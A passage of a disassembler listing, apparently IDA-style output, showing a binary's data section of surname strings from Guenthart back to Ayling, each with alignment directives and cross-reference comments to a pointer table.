aGuenthart	db 'Guenthart',0        ; DATA XREF: ___:0042E038o
		align 4
aGruppe		db 'Gruppe',0           ; DATA XREF: ___:0042E034o
		align 10h
aGruner		db 'Gruner',0           ; DATA XREF: ___:0042E030o
		align 4
aGrummell	db 'Grummell',0         ; DATA XREF: ___:0042E02Co
		align 4
aGrigoletto	db 'Grigoletto',0       ; DATA XREF: ___:0042E028o
		align 10h
aGriffiths	db 'Griffiths',0        ; DATA XREF: ___:0042E024o
		align 4
aGreenfeld	db 'Greenfeld',0        ; DATA XREF: ___:0042E020o
		align 4
aGreenberg	db 'Greenberg',0        ; DATA XREF: ___:0042E01Co
		align 4
aGravell	db 'Gravell',0          ; DATA XREF: ___:0042E018o
aGozzi		db 'Gozzi',0            ; DATA XREF: ___:0042E014o
		align 4
aGoody		db 'Goody',0            ; DATA XREF: ___:0042E010o
		align 4
aGoodearl	db 'Goodearl',0         ; DATA XREF: ___:0042E00Co
		align 4
aGood		db 'Good',0             ; DATA XREF: ___:0042E008o
		align 10h
aGoncalves	db 'Goncalves',0        ; DATA XREF: ___:0042E004o
		align 4
aGoldfarb	db 'Goldfarb',0         ; DATA XREF: ___:0042E000o
		align 4
aGlendon	db 'Glendon',0          ; DATA XREF: ___:0042DFFCo
aGlegg		db 'Glegg',0            ; DATA XREF: ___:0042DFF8o
		align 4
aGleason	db 'Gleason',0          ; DATA XREF: ___:0042DFF4o
aGist		db 'Gist',0             ; DATA XREF: ___:0042DFF0o
		align 4
aGillispie	db 'Gillispie',0        ; DATA XREF: ___:0042DFECo
		align 4
aGill		db 'Gill',0             ; DATA XREF: ___:0042DFE8o
		align 4
aGili		db 'Gili',0             ; DATA XREF: ___:0042DFE4o
		align 4
aGilbert	db 'Gilbert',0          ; DATA XREF: ___:0042DFE0o
aGibson		db 'Gibson',0           ; DATA XREF: ___:0042DFDCo
		align 4
aGibbens	db 'Gibbens',0          ; DATA XREF: ___:0042DFD8o
aGhorai		db 'Ghorai',0           ; DATA XREF: ___:0042DFD4o
		align 4
aGerrett	db 'Gerrett',0          ; DATA XREF: ___:0042DFD0o
aGeorgi		db 'Georgi',0           ; DATA XREF: ___:0042DFCCo
		align 4
aGemberling	db 'Gemberling',0       ; DATA XREF: ___:0042DFC8o
		align 10h
aGeller		db 'Geller',0           ; DATA XREF: ___:0042DFC4o
		align 4
aGaronna	db 'Garonna',0          ; DATA XREF: ___:0042DFC0o
aGarman		db 'Garman',0           ; DATA XREF: ___:0042DFBCo
		align 4
aGarfield	db 'Garfield',0         ; DATA XREF: ___:0042DFB8o
		align 4
aGambini	db 'Gambini',0          ; DATA XREF: ___:0042DFB4o
aGalwey		db 'Galwey',0           ; DATA XREF: ___:0042DFB0o
		align 4
aGaleotti	db 'Galeotti',0         ; DATA XREF: ___:0042DFACo
		align 10h
aGaggiotti	db 'Gaggiotti',0        ; DATA XREF: ___:0042DFA8o
		align 4
aGabrielli	db 'Gabrielli',0        ; DATA XREF: ___:0042DFA4o
		align 4
aFusaro		db 'Fusaro',0           ; DATA XREF: ___:0042DFA0o
		align 10h
aFurth		db 'Furth',0            ; DATA XREF: ___:0042DF9Co
		align 4
aFuller		db 'Fuller',0           ; DATA XREF: ___:0042DF98o
		align 10h
aFujiiAbe	db 'Fujii-Abe',0        ; DATA XREF: ___:0042DF94o
		align 4
aFrye		db 'Frye',0             ; DATA XREF: ___:0042DF90o
		align 4
aFryberger	db 'Fryberger',0        ; DATA XREF: ___:0042DF8Co
		align 10h
aFrowiss	db 'Frowiss',0          ; DATA XREF: ___:0042DF88o
aFrisken	db 'Frisken',0          ; DATA XREF: ___:0042DF84o
aFriedland	db 'Friedland',0        ; DATA XREF: ___:0042DF80o
		align 4
aFried		db 'Fried',0            ; DATA XREF: ___:0042DF7Co
		align 4
aFreundlich	db 'Freundlich',0       ; DATA XREF: ___:0042DF78o
		align 10h
aFreid		db 'Freid',0            ; DATA XREF: ___:0042DF74o
		align 4
aFrazierDavis	db 'Frazier-Davis',0    ; DATA XREF: ___:0042DF70o
		align 4
aFranz		db 'Franz',0            ; DATA XREF: ___:0042DF6Co
		align 10h
aFranklinKenea	db 'Franklin-Kenea',0   ; DATA XREF: ___:0042DF68o
		align 10h
aFrancisco	db 'Francisco',0        ; DATA XREF: ___:0042DF64o
		align 4
aFossi		db 'Fossi',0            ; DATA XREF: ___:0042DF60o
		align 4
aFossey		db 'Fossey',0           ; DATA XREF: ___:0042DF5Co
		align 4
aFortier	db 'Fortier',0          ; DATA XREF: ___:0042DF58o
aFortes		db 'Fortes',0           ; DATA XREF: ___:0042DF54o
		align 4
aForester	db 'Forester',0         ; DATA XREF: ___:0042DF50o
		align 4
aFolks		db 'Folks',0            ; DATA XREF: ___:0042DF4Co
		align 10h
aFlores		db 'Flores',0           ; DATA XREF: ___:0042DF48o
		align 4
aFlier		db 'Flier',0            ; DATA XREF: ___:0042DF44o
		align 10h
aFitzmaurice	db 'Fitzmaurice',0      ; DATA XREF: ___:0042DF40o
aFisk		db 'Fisk',0             ; DATA XREF: ___:0042DF3Co
		align 4
aFiorina	db 'Fiorina',0          ; DATA XREF: ___:0042DF38o
aFinnegan	db 'Finnegan',0         ; DATA XREF: ___:0042DF34o
		align 4
aFinkelstein	db 'Finkelstein',0      ; DATA XREF: ___:0042DF30o
aFink		db 'Fink',0             ; DATA XREF: ___:0042DF2Co
		align 4
aField		db 'Field',0            ; DATA XREF: ___:0042DF28o
		align 4
aFido		db 'Fido',0             ; DATA XREF: ___:0042DF24o
		align 4
aFeuer		db 'Feuer',0            ; DATA XREF: ___:0042DF20o
		align 4
aFerriell	db 'Ferriell',0         ; DATA XREF: ___:0042DF1Co
		align 10h
aFerrante	db 'Ferrante',0         ; DATA XREF: ___:0042DF18o
		align 4
aFernandes	db 'Fernandes',0        ; DATA XREF: ___:0042DF14o
		align 4
aFernald	db 'Fernald',0          ; DATA XREF: ___:0042DF10o
aFeldman	db 'Feldman',0          ; DATA XREF: ___:0042DF0Co
aFejzo		db 'Fejzo',0            ; DATA XREF: ___:0042DF08o
		align 10h
aFeigenbaum	db 'Feigenbaum',0       ; DATA XREF: ___:0042DF04o
		align 4
aFates		db 'Fates',0            ; DATA XREF: ___:0042DF00o
		align 4
aFasso		db 'Fasso',27h,0        ; DATA XREF: ___:0042DEFCo
		align 4
aFarren		db 'Farren',0           ; DATA XREF: ___:0042DEF8o
		align 4
aFarone		db 'Farone',0           ; DATA XREF: ___:0042DEF4o
		align 4
aFaris		db 'Faris',0            ; DATA XREF: ___:0042DEF0o
		align 4
aFalorsi	db 'Falorsi',0          ; DATA XREF: ___:0042DEECo
aFalcoAcosta	db 'Falco-Acosta',0     ; DATA XREF: ___:0042DEE8o
		align 4
aFaioes		db 'Faioes',0           ; DATA XREF: ___:0042DEE4o
		align 4
aFagan		db 'Fagan',0            ; DATA XREF: ___:0042DEE0o
		align 4
aFabbris	db 'Fabbris',0          ; DATA XREF: ___:0042DEDCo
aEverett	db 'Everett',0          ; DATA XREF: ___:0042DED8o
aEuripides	db 'Euripides',0        ; DATA XREF: ___:0042DED4o
		align 4
aEtter		db 'Etter',0            ; DATA XREF: ___:0042DED0o
		align 10h
aEstes		db 'Estes',0            ; DATA XREF: ___:0042DECCo
		align 4
aEspinoza	db 'Espinoza',0         ; DATA XREF: ___:0042DEC8o
		align 4
aErez		db 'Erez',0             ; DATA XREF: ___:0042DEC4o
		align 4
aErdos		db 'Erdos',0            ; DATA XREF: ___:0042DEC0o
		align 4
aErdman		db 'Erdman',0           ; DATA XREF: ___:0042DEBCo
		align 4
aErbach		db 'Erbach',0           ; DATA XREF: ___:0042DEB8o
		align 4
aEppling	db 'Eppling',0          ; DATA XREF: ___:0042DEB4o
aEnyeart	db 'Enyeart',0          ; DATA XREF: ___:0042DEB0o
aEncinas	db 'Encinas',0          ; DATA XREF: ___:0042DEACo
aElvis		db 'Elvis',0            ; DATA XREF: ___:0042DEA8o
		align 4
aElmerick	db 'Elmerick',0         ; DATA XREF: ___:0042DEA4o
		align 10h
aElmendorf	db 'Elmendorf',0        ; DATA XREF: ___:0042DEA0o
		align 4
aEliasson	db 'Eliasson',0         ; DATA XREF: ___:0042DE9Co
		align 4
aEickenhorst	db 'Eickenhorst',0      ; DATA XREF: ___:0042DE98o
aEdward		db 'Edward',0           ; DATA XREF: ___:0042DE94o
		align 4
aEdner		db 'Edner',0            ; DATA XREF: ___:0042DE90o
		align 4
aEdley		db 'Edley',0            ; DATA XREF: ___:0042DE8Co
		align 4
aEckel		db 'Eckel',0            ; DATA XREF: ___:0042DE88o
		align 4
aEbeling	db 'Ebeling',0          ; DATA XREF: ___:0042DE84o
aEardley	db 'Eardley',0          ; DATA XREF: ___:0042DE80o
aDwyer		db 'Dwyer',0            ; DATA XREF: ___:0042DE7Co
		align 4
aDussault	db 'Dussault',0         ; DATA XREF: ___:0042DE78o
		align 4
aDurrett	db 'Durrett',0          ; DATA XREF: ___:0042DE74o
aDuffin		db 'Duffin',0           ; DATA XREF: ___:0042DE70o
		align 4
aDSouza		db 'D',27h,'souza',0    ; DATA XREF: ___:0042DE6Co
aDrinker	db 'Drinker',0          ; DATA XREF: ___:0042DE68o
aDowsland	db 'Dowsland',0         ; DATA XREF: ___:0042DE64o
		align 4
aDoug		db 'Doug',0             ; DATA XREF: ___:0042DE60o
		align 4
aDoty		db 'Doty',0             ; DATA XREF: ___:0042DE5Co
		align 4
aDosi		db 'Dosi',0             ; DATA XREF: ___:0042DE58o
		align 4
aDorf		db 'Dorf',0             ; DATA XREF: ___:0042DE54o
		align 4
aDore		db 'Dore',0             ; DATA XREF: ___:0042DE50o
		align 4
aDoonan		db 'Doonan',0           ; DATA XREF: ___:0042DE4Co
		align 4
aDonner		db 'Donner',0           ; DATA XREF: ___:0042DE48o
		align 4
aDonahue	db 'Donahue',0          ; DATA XREF: ___:0042DE44o
aDoherty	db 'Doherty',0          ; DATA XREF: ___:0042DE40o
aDockery	db 'Dockery',0          ; DATA XREF: ___:0042DE3Co
aDirksen	db 'Dirksen',0          ; DATA XREF: ___:0042DE38o
aDionysius	db 'Dionysius',0        ; DATA XREF: ___:0042DE34o
		align 4
aDilworth	db 'Dilworth',0         ; DATA XREF: ___:0042DE30o
		align 4
aDifronzo	db 'Difronzo',0         ; DATA XREF: ___:0042DE2Co
		align 10h
aDifabio	db 'Difabio',0          ; DATA XREF: ___:0042DE28o
aDiefenbach	db 'Diefenbach',0       ; DATA XREF: ___:0042DE24o
		align 4
aDicks		db 'Dicks',0            ; DATA XREF: ___:0042DE20o
		align 4
aDFini		db 'D',27h,'fini',0     ; DATA XREF: ___:0042DE1Co
		align 4
aDeutsch	db 'Deutsch',0          ; DATA XREF: ___:0042DE18o
aDesombre	db 'Desombre',0         ; DATA XREF: ___:0042DE14o
		align 4
aDenison	db 'Denison',0          ; DATA XREF: ___:0042DE10o
aDenham		db 'Denham',0           ; DATA XREF: ___:0042DE0Co
		align 4
aDenault	db 'Denault',0          ; DATA XREF: ___:0042DE08o
aDemusz		db 'Demusz',0           ; DATA XREF: ___:0042DE04o
		align 4
aDempster	db 'Dempster',0         ; DATA XREF: ___:0042DE00o
		align 4
aDeming		db 'Deming',0           ; DATA XREF: ___:0042DDFCo
		align 4
aDellAcqua	db 'Dell',27h,'acqua',0 ; DATA XREF: ___:0042DDF8o
		align 4
aDelger		db 'Delger',0           ; DATA XREF: ___:0042DDF4o
		align 10h
aDeleonRendon	db 'Deleon-Rendon',0    ; DATA XREF: ___:0042DDF0o
		align 10h
aDelattre	db 'Delattre',0         ; DATA XREF: ___:0042DDECo
		align 4
aDefeciani	db 'Defeciani',0        ; DATA XREF: ___:0042DDE8o
		align 4
aDees		db 'Dees',0             ; DATA XREF: ___:0042DDE4o
		align 10h
aDebroff	db 'Debroff',0          ; DATA XREF: ___:0042DDE0o
aDerousse	db 'deRousse',0         ; DATA XREF: ___:0042DDDCo
		align 4
aDelEnclos	db 'del',27h,'Enclos',0 ; DATA XREF: ___:0042DDD8o
		align 10h
aDelapena	db 'DeLaPena',0         ; DATA XREF: ___:0042DDD4o
		align 4
aDegennaro	db 'DeGennaro',0        ; DATA XREF: ___:0042DDD0o
		align 4
aDawkins	db 'Dawkins',0          ; DATA XREF: ___:0042DDCCo
aDavid		db 'David',0            ; DATA XREF: ___:0042DDC8o
		align 4
aDaskalu	db 'Daskalu',0          ; DATA XREF: ___:0042DDC4o
aDasgupta	db 'Dasgupta',0         ; DATA XREF: ___:0042DDC0o
		align 4
aDas		db 'Das',0              ; DATA XREF: ___:0042DDBCo
aDArcangelo	db 'D',27h,'arcangelo',0 ; DATA XREF: ___:0042DDB8o
aDapice		db 'Dapice',0           ; DATA XREF: ___:0042DDB4o
		align 4
aDante		db 'Dante',0            ; DATA XREF: ___:0042DDB0o
		align 4
aDanieli	db 'Danieli',0          ; DATA XREF: ___:0042DDACo
aDAmbra		db 'D',27h,'Ambra',0    ; DATA XREF: ___:0042DDA8o
aDaly		db 'Daly',0             ; DATA XREF: ___:0042DDA4o
		align 4
aDaldalian	db 'Daldalian',0        ; DATA XREF: ___:0042DDA0o
		align 10h
aDasilva	db 'daSilva',0          ; DATA XREF: ___:0042DD9Co
aCyders		db 'Cyders',0           ; DATA XREF: ___:0042DD98o
		align 10h
aCvek		db 'Cvek',0             ; DATA XREF: ___:0042DD94o
		align 4
aCutler		db 'Cutler',0           ; DATA XREF: ___:0042DD90o
		align 10h
aCurrier	db 'Currier',0          ; DATA XREF: ___:0042DD8Co
aCui		db 'Cui',0              ; DATA XREF: ___:0042DD88o
aCroxton	db 'Croxton',0          ; DATA XREF: ___:0042DD84o
aCroxen		db 'Croxen',0           ; DATA XREF: ___:0042DD80o
		align 4
aCroshaw	db 'Croshaw',0          ; DATA XREF: ___:0042DD7Co
aCrocker	db 'Crocker',0          ; DATA XREF: ___:0042DD78o
aCrawford	db 'Crawford',0         ; DATA XREF: ___:0042DD74o
		align 4
aCoutaux	db 'Coutaux',0          ; DATA XREF: ___:0042DD70o
aCounter	db 'Counter',0          ; DATA XREF: ___:0042DD6Co
aCosmides	db 'Cosmides',0         ; DATA XREF: ___:0042DD68o
		align 4
aCornish	db 'Cornish',0          ; DATA XREF: ___:0042DD64o
aCorey		db 'Corey',0            ; DATA XREF: ___:0042DD60o
		align 4
aConnors	db 'Connors',0          ; DATA XREF: ___:0042DD5Co
aCondodina	db 'Condodina',0        ; DATA XREF: ___:0042DD58o
		align 4
aConcino	db 'Concino',0          ; DATA XREF: ___:0042DD54o
aComstock	db 'Comstock',0         ; DATA XREF: ___:0042DD50o
		align 4
aCompton	db 'Compton',0          ; DATA XREF: ___:0042DD48o
					; ___:0042DD4Co
aCollis		db 'Collis',0           ; DATA XREF: ___:0042DD44o
		align 4
aCollard	db 'Collard',0          ; DATA XREF: ___:0042DD40o
aColella	db 'Colella',0          ; DATA XREF: ___:0042DD3Co
aColdren	db 'Coldren',0          ; DATA XREF: ___:0042DD38o
aCoito		db 'Coito',0            ; DATA XREF: ___:0042DD34o
		align 4
aCoblenz	db 'Coblenz',0          ; DATA XREF: ___:0042DD30o
aClow		db 'Clow',0             ; DATA XREF: ___:0042DD2Co
		align 4
aClifton	db 'Clifton',0          ; DATA XREF: ___:0042DD28o
aClement	db 'Clement',0          ; DATA XREF: ___:0042DD24o
aClark		db 'Clark',0            ; DATA XREF: ___:0042DD20o
		align 4
aClancy		db 'Clancy',0           ; DATA XREF: ___:0042DD1Co
		align 4
aClaffey	db 'Claffey',0          ; DATA XREF: ___:0042DD18o
aCifarelli	db 'Cifarelli',0        ; DATA XREF: ___:0042DD14o
		align 10h
aCicero		db 'Cicero',0           ; DATA XREF: ___:0042DD10o
		align 4
aCiampaglia	db 'Ciampaglia',0       ; DATA XREF: ___:0042DD0Co
		align 4
aChurch		db 'Church',0           ; DATA XREF: ___:0042DD08o
		align 4
aChupasko	db 'Chupasko',0         ; DATA XREF: ___:0042DD04o
		align 4
aChu		db 'Chu',0              ; DATA XREF: ___:0042DD00o
aChristopher	db 'Christopher',0      ; DATA XREF: ___:0042DCFCo
aChristie	db 'Christie',0         ; DATA XREF: ___:0042DCF8o
		align 4
aChristiano	db 'Christiano',0       ; DATA XREF: ___:0042DCF4o
		align 10h
aChristian	db 'Christian',0        ; DATA XREF: ___:0042DCF0o
		align 4
aChristenson	db 'Christenson',0      ; DATA XREF: ___:0042DCECo
aChinman	db 'Chinman',0          ; DATA XREF: ___:0042DCE8o
aChinipardaz	db 'Chinipardaz',0      ; DATA XREF: ___:0042DCE4o
aChilds		db 'Childs',0           ; DATA XREF: ___:0042DCE0o
		align 4
aChildress	db 'Childress',0        ; DATA XREF: ___:0042DCDCo
		align 10h
aChien		db 'Chien',0            ; DATA XREF: ___:0042DCD8o
		align 4
aChiassino	db 'Chiassino',0        ; DATA XREF: ___:0042DCD4o
		align 4
aChervinsky	db 'Chervinsky',0       ; DATA XREF: ___:0042DCD0o
		align 10h
aCherry		db 'Cherry',0           ; DATA XREF: ___:0042DCCCo
		align 4
aCheang		db 'Cheang',0           ; DATA XREF: ___:0042DCC8o
		align 10h
aCharles	db 'Charles',0          ; DATA XREF: ___:0042DCC4o
aChapman	db 'Chapman',0          ; DATA XREF: ___:0042DCC0o
aCerioli	db 'Cerioli',0          ; DATA XREF: ___:0042DCBCo
aCeniceros	db 'Ceniceros',0        ; DATA XREF: ___:0042DCB8o
		align 4
aCavell		db 'Cavell',0           ; DATA XREF: ___:0042DCB4o
		align 4
aCavanagh	db 'Cavanagh',0         ; DATA XREF: ___:0042DCB0o
		align 4
aCastelda	db 'Castelda',0         ; DATA XREF: ___:0042DCACo
		align 4
aCaspar		db 'Caspar',0           ; DATA XREF: ___:0042DCA8o
		align 4
aCase		db 'Case',0             ; DATA XREF: ___:0042DCA4o
		align 4
aCascio		db 'Cascio',0           ; DATA XREF: ___:0042DCA0o
		align 4
aCartmill	db 'Cartmill',0         ; DATA XREF: ___:0042DC9Co
		align 4
aCarper		db 'Carper',0           ; DATA XREF: ___:0042DC98o
		align 10h
aCaroti		db 'Caroti',0           ; DATA XREF: ___:0042DC94o
		align 4
aCarmichael	db 'Carmichael',0       ; DATA XREF: ___:0042DC90o
		align 4
aCarlyle	db 'Carlyle',0          ; DATA XREF: ___:0042DC8Co
aCarlos		db 'Carlos',0           ; DATA XREF: ___:0042DC88o
		align 4
aCarlin		db 'Carlin',0           ; DATA XREF: ___:0042DC84o
		align 4
aCarayannopoulo	db 'Carayannopoulos',0  ; DATA XREF: ___:0042DC80o
aCaratozzolo	db 'Caratozzolo',0      ; DATA XREF: ___:0042DC7Co
aCapursi	db 'Capursi',0          ; DATA XREF: ___:0042DC78o
aCappuccio	db 'Cappuccio',0        ; DATA XREF: ___:0042DC74o
		align 4
aCapodilupo	db 'Capodilupo',0       ; DATA XREF: ___:0042DC70o
		align 4
aCapocaccia	db 'Capocaccia',0       ; DATA XREF: ___:0042DC6Co
		align 4
aCaperton	db 'Caperton',0         ; DATA XREF: ___:0042DC68o
		align 10h
aCapanni	db 'Capanni',0          ; DATA XREF: ___:0042DC64o
aCanley		db 'Canley',0           ; DATA XREF: ___:0042DC60o
		align 10h
aCammilleri	db 'Cammilleri',0       ; DATA XREF: ___:0042DC5Co
		align 4
aCammelli	db 'Cammelli',0         ; DATA XREF: ___:0042DC58o
		align 4
aCalnan		db 'Calnan',0           ; DATA XREF: ___:0042DC54o
		align 10h
aCage		db 'Cage',0             ; DATA XREF: ___:0042DC50o
		align 4
aByrd		db 'Byrd',0             ; DATA XREF: ___:0042DC4Co
		align 10h
aByerly		db 'Byerly',0           ; DATA XREF: ___:0042DC48o
		align 4
aByatt		db 'Byatt',0            ; DATA XREF: ___:0042DC44o
		align 10h
aBusetta	db 'Busetta',0          ; DATA XREF: ___:0042DC40o
aBurridge	db 'Burridge',0         ; DATA XREF: ___:0042DC3Co
		align 4
aBurke		db 'Burke',0            ; DATA XREF: ___:0042DC38o
		align 4
aBurdzy		db 'Burdzy',0           ; DATA XREF: ___:0042DC34o
		align 4
aBurden		db 'Burden',0           ; DATA XREF: ___:0042DC30o
		align 4
aBunton		db 'Bunton',0           ; DATA XREF: ___:0042DC2Co
		align 4
aBullard	db 'Bullard',0          ; DATA XREF: ___:0042DC28o
aBudding	db 'Budding',0          ; DATA XREF: ___:0042DC24o
aBuchan		db 'Buchan',0           ; DATA XREF: ___:0042DC20o
		align 4
aBrzycki	db 'Brzycki',0          ; DATA XREF: ___:0042DC1Co
aBrook		db 'Brook',0            ; DATA XREF: ___:0042DC18o
		align 4
aBroca		db 'Broca',0            ; DATA XREF: ___:0042DC14o
		align 4
aBritz		db 'Britz',0            ; DATA XREF: ___:0042DC10o
		align 4
aBrinton	db 'Brinton',0          ; DATA XREF: ___:0042DC0Co
aBridges	db 'Bridges',0          ; DATA XREF: ___:0042DC08o
aBridgeman	db 'Bridgeman',0        ; DATA XREF: ___:0042DC04o
		align 4
aBrewer		db 'Brewer',0           ; DATA XREF: ___:0042DBFCo
					; ___:0042DC00o
		align 10h
aBrennan	db 'Brennan',0          ; DATA XREF: ___:0042DBF8o
aBrenan		db 'Brenan',0           ; DATA XREF: ___:0042DBF4o
		align 10h
aBreed		db 'Breed',0            ; DATA XREF: ___:0042DBF0o
		align 4
aBrecht		db 'Brecht',0           ; DATA XREF: ___:0042DBECo
		align 10h
aBradach	db 'Bradach',0          ; DATA XREF: ___:0042DBE8o
aBradac		db 'Bradac',0           ; DATA XREF: ___:0042DBE4o
		align 10h
aBracalente	db 'Bracalente',0       ; DATA XREF: ___:0042DBE0o
		align 4
aBoyne		db 'Boyne',0            ; DATA XREF: ___:0042DBDCo
		align 4
aBoym		db 'Boym',0             ; DATA XREF: ___:0042DBD8o
		align 4
aBoyland	db 'Boyland',0          ; DATA XREF: ___:0042DBD4o
aBoyes		db 'Boyes',0            ; DATA XREF: ___:0042DBD0o
		align 4
aBoyajian	db 'Boyajian',0         ; DATA XREF: ___:0042DBCCo
		align 4
aBoxer		db 'Boxer',0            ; DATA XREF: ___:0042DBC8o
		align 10h
aBowers		db 'Bowers',0           ; DATA XREF: ___:0042DBC4o
		align 4
aBourneuf	db 'Bourneuf',0         ; DATA XREF: ___:0042DBC0o
		align 4
aBoudrot	db 'Boudrot',0          ; DATA XREF: ___:0042DBBCo
aBoudin		db 'Boudin',0           ; DATA XREF: ___:0042DBB8o
		align 4
aBotosh		db 'Botosh',0           ; DATA XREF: ___:0042DBB4o
		align 4
aBothman	db 'Bothman',0          ; DATA XREF: ___:0042DBB0o
aBossi		db 'Bossi',0            ; DATA XREF: ___:0042DBACo
		align 4
aBorden		db 'Borden',0           ; DATA XREF: ___:0042DBA8o
		align 4
aBorack		db 'Borack',0           ; DATA XREF: ___:0042DBA4o
		align 4
aBoorstin	db 'Boorstin',0         ; DATA XREF: ___:0042DBA0o
		align 4
aBoone		db 'Boone',0            ; DATA XREF: ___:0042DB9Co
		align 10h
aBookbinder	db 'Bookbinder',0       ; DATA XREF: ___:0042DB98o
		align 4
aBook		db 'Book',0             ; DATA XREF: ___:0042DB94o
		align 4
aBontempo	db 'Bontempo',0         ; DATA XREF: ___:0042DB90o
		align 10h
aBoniface	db 'Boniface',0         ; DATA XREF: ___:0042DB8Co
		align 4
aBonham		db 'Bonham',0           ; DATA XREF: ___:0042DB88o
		align 4
aBoner		db 'Boner',0            ; DATA XREF: ___:0042DB84o
		align 4
aBologna	db 'Bologna',0          ; DATA XREF: ___:0042DB80o
aBollinger	db 'Bollinger',0        ; DATA XREF: ___:0042DB7Co
		align 10h
aBolick		db 'Bolick',0           ; DATA XREF: ___:0042DB78o
		align 4
aBolger		db 'Bolger',0           ; DATA XREF: ___:0042DB74o
		align 10h
aBlyth		db 'Blyth',0            ; DATA XREF: ___:0042DB70o
		align 4
aBloxham	db 'Bloxham',0          ; DATA XREF: ___:0042DB6Co
aBloemhof	db 'Bloemhof',0         ; DATA XREF: ___:0042DB68o
		align 4
aBloembergen	db 'Bloembergen',0      ; DATA XREF: ___:0042DB64o
aBloch		db 'Bloch',0            ; DATA XREF: ___:0042DB60o
		align 10h
aBlizard	db 'Blizard',0          ; DATA XREF: ___:0042DB5Co
aBliss		db 'Bliss',0            ; DATA XREF: ___:0042DB58o
		align 10h
aBlanke		db 'Blanke',0           ; DATA XREF: ___:0042DB54o
		align 4
aBlakemore	db 'Blakemore',0        ; DATA XREF: ___:0042DB50o
		align 4
aBlagg		db 'Blagg',0            ; DATA XREF: ___:0042DB4Co
		align 4
aBlackwell	db 'Blackwell',0        ; DATA XREF: ___:0042DB48o
		align 4
aBlackbourn	db 'Blackbourn',0       ; DATA XREF: ___:0042DB44o
		align 4
aBisho		db 'Bisho',0            ; DATA XREF: ___:0042DB40o
		align 4
aBisema		db 'Bisema',0           ; DATA XREF: ___:0042DB3Co
		align 4
aBir		db 'Bir',0              ; DATA XREF: ___:0042DB38o
aBinion		db 'Binion',0           ; DATA XREF: ___:0042DB34o
		align 10h
aBickel		db 'Bickel',0           ; DATA XREF: ___:0042DB30o
		align 4
aBiagioli	db 'Biagioli',0         ; DATA XREF: ___:0042DB2Co
		align 4
aBeynart	db 'Beynart',0          ; DATA XREF: ___:0042DB28o
aBetti		db 'Betti',0            ; DATA XREF: ___:0042DB24o
		align 4
aBerrizbeitia	db 'Berrizbeitia',0     ; DATA XREF: ___:0042DB20o
		align 4
aBernston	db 'Bernston',0         ; DATA XREF: ___:0042DB1Co
		align 10h
aBernassola	db 'Bernassola',0       ; DATA XREF: ___:0042DB18o
		align 4
aBernardo	db 'Bernardo',0         ; DATA XREF: ___:0042DB14o
		align 4
aBerkeJenkins	db 'Berke-Jenkins',0    ; DATA XREF: ___:0042DB10o
		align 4
aBergson	db 'Bergson',0          ; DATA XREF: ___:0042DB0Co
aBenedictDye	db 'Benedict-Dye',0     ; DATA XREF: ___:0042DB08o
		align 10h
aBelloc		db 'Belloc',0           ; DATA XREF: ___:0042DB04o
		align 4
aBellini	db 'Bellini',0          ; DATA XREF: ___:0042DB00o
aBellhouse	db 'Bellhouse',0        ; DATA XREF: ___:0042DAFCo
		align 4
aBellavance	db 'Bellavance',0       ; DATA XREF: ___:0042DAF8o
		align 4
aBelinCollart	db 'Belin-Collart',0    ; DATA XREF: ___:0042DAF4o
		align 4
aBelfer		db 'Belfer',0           ; DATA XREF: ___:0042DAF0o
		align 10h
aBelaoussof	db 'Belaoussof',0       ; DATA XREF: ___:0042DAECo
		align 4
aBelanger	db 'Belanger',0         ; DATA XREF: ___:0042DAE8o
		align 4
aBehenna	db 'Behenna',0          ; DATA XREF: ___:0042DAE4o
aBedford	db 'Bedford',0          ; DATA XREF: ___:0042DAE0o
aBeder		db 'Beder',0            ; DATA XREF: ___:0042DADCo
		align 10h
aBeckman	db 'Beckman',0          ; DATA XREF: ___:0042DAD8o
aBean		db 'Bean',0             ; DATA XREF: ___:0042DAD4o
		align 10h
aBeal		db 'Beal',0             ; DATA XREF: ___:0042DAD0o
		align 4
aBeacon		db 'Beacon',0           ; DATA XREF: ___:0042DACCo
		align 10h
aBayo		db 'Bayo',0             ; DATA XREF: ___:0042DAC8o
		align 4
aBayles		db 'Bayles',0           ; DATA XREF: ___:0042DAC4o
		align 10h
aBaumiller	db 'Baumiller',0        ; DATA XREF: ___:0042DAC0o
		align 4
aBatchelder	db 'Batchelder',0       ; DATA XREF: ___:0042DABCo
		align 4
aBashevis	db 'Bashevis',0         ; DATA XREF: ___:0042DAB8o
		align 4
aBasavappa	db 'Basavappa',0        ; DATA XREF: ___:0042DAB4o
		align 10h
aBartoo		db 'Bartoo',0           ; DATA XREF: ___:0042DAB0o
		align 4
aBartolome	db 'Bartolome',0        ; DATA XREF: ___:0042DAACo
		align 4
aBartholomew	db 'Bartholomew',0      ; DATA XREF: ___:0042DAA8o
aBarry		db 'Barry',0            ; DATA XREF: ___:0042DAA4o
		align 4
aBarriola	db 'Barriola',0         ; DATA XREF: ___:0042DAA0o
		align 4
aBarnett	db 'Barnett',0          ; DATA XREF: ___:0042DA9Co
aBarneson	db 'Barneson',0         ; DATA XREF: ___:0042DA98o
		align 4
aBarbetti	db 'Barbetti',0         ; DATA XREF: ___:0042DA94o
		align 4
aBarberi	db 'Barberi',0          ; DATA XREF: ___:0042DA90o
aBaranowska	db 'Baranowska',0       ; DATA XREF: ___:0042DA8Co
		align 4
aBaranczak	db 'Baranczak',0        ; DATA XREF: ___:0042DA88o
		align 4
aBarajas	db 'Barajas',0          ; DATA XREF: ___:0042DA84o
aBarabesi	db 'Barabesi',0         ; DATA XREF: ___:0042DA80o
		align 4
aBanta		db 'Banta',0            ; DATA XREF: ___:0042DA7Co
		align 10h
aBaltz		db 'Baltz',0            ; DATA XREF: ___:0042DA78o
		align 4
aBallew		db 'Ballew',0           ; DATA XREF: ___:0042DA74o
		align 10h
aBallatori	db 'Ballatori',0        ; DATA XREF: ___:0042DA70o
		align 4
aBaleja		db 'Baleja',0           ; DATA XREF: ___:0042DA6Co
		align 4
aBakanowsky	db 'Bakanowsky',0       ; DATA XREF: ___:0042DA68o
		align 10h
aBailar		db 'Bailar',0           ; DATA XREF: ___:0042DA64o
		align 4
aBagnold	db 'Bagnold',0          ; DATA XREF: ___:0042DA60o
aBaglivo	db 'Baglivo',0          ; DATA XREF: ___:0042DA5Co
aBady		db 'Bady',0             ; DATA XREF: ___:0042DA58o
		align 10h
aBackus		db 'Backus',0           ; DATA XREF: ___:0042DA54o
		align 4
aBachmuth	db 'Bachmuth',0         ; DATA XREF: ___:0042DA50o
		align 4
aAzima		db 'Azima',0            ; DATA XREF: ___:0042DA4Co
		align 4
aAyling		db 'Ayling',0           ; DATA XREF: ___:0042DA48o
		align 4
